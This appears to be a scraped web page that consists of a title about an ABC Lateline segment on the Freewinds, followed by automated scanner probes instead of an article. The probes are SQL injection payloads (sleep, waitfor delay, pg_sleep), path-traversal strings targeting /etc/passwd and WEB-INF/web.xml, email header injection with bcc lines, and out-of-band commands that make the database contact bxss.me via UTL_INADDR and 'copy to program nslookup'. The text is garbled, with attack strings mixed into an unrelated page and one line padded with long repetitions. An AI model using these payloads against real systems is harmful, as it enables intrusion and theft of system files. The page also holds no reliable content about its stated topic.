ABC Lateline - Forced imprisonment on the Freewinds (2011-11-28)

20

if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/

20

20

(select(0)from(select(sleep(4)))v)/*'+(select(0)from(select(sleep(4)))v)+'"+(select(0)from(select(sleep(4)))v)+"*/

20

20

-1; waitfor delay '0:0:8' --

20

-1); waitfor delay '0:0:8' --

20

20

1 waitfor delay '0:0:8' --

../../../../../../../../../../etc/passwd

20

20

20

EgE2hKHm'; waitfor delay '0:0:8' --

../../../../../../../../../../../../../../../proc/version

20

-1;select pg_sleep(8); --

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

20

20

20

../../../../../../../../../../etc/passwd.jpg

-1);select pg_sleep(8); --

20

-1));select pg_sleep(12); --

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

20

20

/../..//../..//../..//../..//../..//etc/passwd.jpg

20

cyA5LrzK';select pg_sleep(12); --

OkdWiWxq');select pg_sleep(12); --

20

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

20

20
bcc:013541.3-39087.3.41a92.1@bxss.me

/etc/passwd

EtreFlNU'));select pg_sleep(12); --

20

%2fetc%2fpasswd

20

/.././.././.././.././.././.././.././../etc/./passwd%00

20||UTL_INADDR.get_host_address('dns.'||'sqli.013541.3-39090.3.41a92.1.bxss'||'.me')

20

to@example.com>
bcc:013541.3-39091.3.41a92.1@bxss.me

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

20

'||UTL_INADDR.get_host_address('dns.'||'sqli.013541.3-39093.3.41a92.1.bxss'||'.me')||'

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

20
bcc:013541.3-39094.3.41a92.1@bxss.me

20

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

to@example.com>
bcc:013541.3-39097.3.41a92.1@bxss.me

file:///etc/passwd

20;copy (select '') to program 'nslookup dns.sqli.\013541.3-39098.3.41a92.\1.bxss.me'

/\../\../\../\../\../\../\../etc/passwd

20

WEB-INF/web.xml

20
bcc:013541.3-39100.3.41a92.1@bxss.me

/WEB-INF/web.xml

20